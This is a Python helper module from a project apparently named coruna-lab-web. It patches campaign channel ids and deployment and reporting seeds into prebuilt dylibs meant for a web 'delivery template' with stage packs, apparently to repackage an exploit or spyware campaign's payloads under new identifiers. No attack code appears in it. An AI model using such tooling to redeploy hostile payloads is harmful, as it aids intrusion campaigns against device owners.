coruna-lab-web/frontend/tools/_common.py

"""Shared paths and seed helpers for coruna-lab-web tooling.

Layout (coruna-lab-web is the project root):
  frontend/{source,tools,doc,tests}/
  build_api/
  artifacts/channel/<id>/{web,sync,out}/
"""

from __future__ import annotations

import hashlib
import sys
from pathlib import Path

TOOLS_ROOT = Path(__file__).resolve().parent
FRONTEND_ROOT = TOOLS_ROOT.parent
PROJECT_ROOT = FRONTEND_ROOT.parent
# Historical alias: LAB_ROOT == frontend (source/ + tools/ + out/)
LAB_ROOT = FRONTEND_ROOT
SOURCE_ROOT = FRONTEND_ROOT / "source"
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
VENDOR_ROOT = TOOLS_ROOT / "vendor"
if str(VENDOR_ROOT) not in sys.path:
    sys.path.insert(0, str(VENDOR_ROOT))

# Campaign / channel id embedded in type-0x01 binaries (seed template).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
# Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each).
ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID  # active channel id (may be overridden)

# Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
ORIGINAL_REPORTING_SEED = "2d2aebba0bf3d7d694194a7ab93b0a96"
OLD_DEP = ORIGINAL_DEPLOYMENT_SEED.encode("ascii")
OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")

# Active tree root for --apply targets (one channel dir with web/ + sync/).
# Defaults to SOURCE_ROOT so accidental --apply without --root does not invent paths;
# new_project / patch_all --root override this before applying.
_TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web"
SYNC_DIR = _TREE_ROOT / "sync"
# Flat delivery template (support.html + stage/native packs live directly under web/).
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web"

# Vendored plaintext inputs (all under source/; no coruna-online runtime dependency).
TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs"
SYNC_DYLIBS_DIR = SOURCE_ROOT / "sync_dylibs"
CORE_DYLIB = SYNC_DYLIBS_DIR / "tmp.dylib"
DAILY_BODY = SOURCE_ROOT / "sync_config" / "daily.body"
SECONDARY_KEYS = TOOLS_ROOT / "secondary_keys.json"
SYNC_MODULES = TOOLS_ROOT / "sync_modules.json"

# Representative dylib per group (same bytes as the other stems in that group)
GROUP_DYLIBS = {
    "A": TYPE0X01_DYLIBS_DIR / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib",
    "B": TYPE0X01_DYLIBS_DIR / "7f208248c748f97956fe4a7cf246c91235852e67_type0x01.dylib",
}


def tree_root() -> Path:
    return _TREE_ROOT


def campaign_id() -> str:
    return CAMPAIGN_HASH


def set_campaign_id(channel: str) -> str:
    """Set the channel embedded in payloads; output remains <root>/web/."""
    global CAMPAIGN_HASH, CAMPAIGN_DIR
    from _channel_patch import validate_channel_id

    CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
    CAMPAIGN_DIR = _TREE_ROOT / "web"
    return CAMPAIGN_HASH


def set_tree_root(root: Path, *, channel: str | None = None) -> Path:
    """Point CAMPAIGN_DIR / SYNC_DIR at a channel-scoped root/web and root/sync."""
    global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
    root = root.resolve()
    _TREE_ROOT = root
    if channel is not None:
        set_campaign_id(channel)
    else:
        CAMPAIGN_DIR = root / "web"
    SYNC_DIR = root / "sync"
    return root


def ensure_tree_layout(
    root: Path,
    *,
    channel: str | None = None,
    require_campaign: bool = True,
    require_sync: bool = True,
) -> None:
    camp = root / "web"
    sync = root / "sync"
    missing = []
    if require_campaign and not camp.is_dir():
        missing.append("web/")
    if require_sync and not sync.is_dir():
        missing.append("sync/")
    if missing:
        raise SystemExit(
            f"missing working tree under {root} (need {', '.join(missing)}).\n"
            f"Build a channel tree first:\n"
            f"  python3 frontend/tools/new_project.py --channel-id <id> --root {root}"
        )


def pack_seed(value: str) -> bytes:
    data = value.encode("ascii")
    if len(data) > 32:
        raise SystemExit(
            f"seed longer than 32 bytes ({len(data)}): {value!r}\n"
            "Provide at most 32 ASCII characters (recommend exactly 32 hex chars)."
        )
    try:
        data.decode("ascii")
    except UnicodeDecodeError as exc:
        raise SystemExit("seed must be ASCII") from exc
    return data + b"\x00" * (32 - len(data))


def validate_seed_arg(name: str, value: str) -> str:
    if not value:
        raise SystemExit(f"{name} must be non-empty")
    pack_seed(value)  # length check
    return value


def replace_seed(blob: bytearray, old: bytes, new32: bytes) -> int:
    count = 0
    start = 0
    while True:
        index = blob.find(old, start)
        if index < 0:
            break
        blob[index : index + 32] = new32
        count += 1
        start = index + 32
    return count


def patch_seeds_in_dylib(
    data: bytes,
    deployment_seed: str,
    reporting_seed: str,
    *,
    expect_dep: int,
    expect_rep: int,
    label: str,
) -> bytes:
    buf = bytearray(data)
    nd = replace_seed(buf, OLD_DEP, pack_seed(deployment_seed))
    nr = replace_seed(buf, OLD_REP, pack_seed(reporting_seed))
    if nd != expect_dep or nr != expect_rep:
        raise SystemExit(
            f"{label}: unexpected seed hits dep={nd} rep={nr} "
            f"(want {expect_dep}/{expect_rep}). Already patched?"
        )
    return bytes(buf)


def sha256_hex(data: bytes) -> str:
    return hashlib.sha256(data).hexdigest()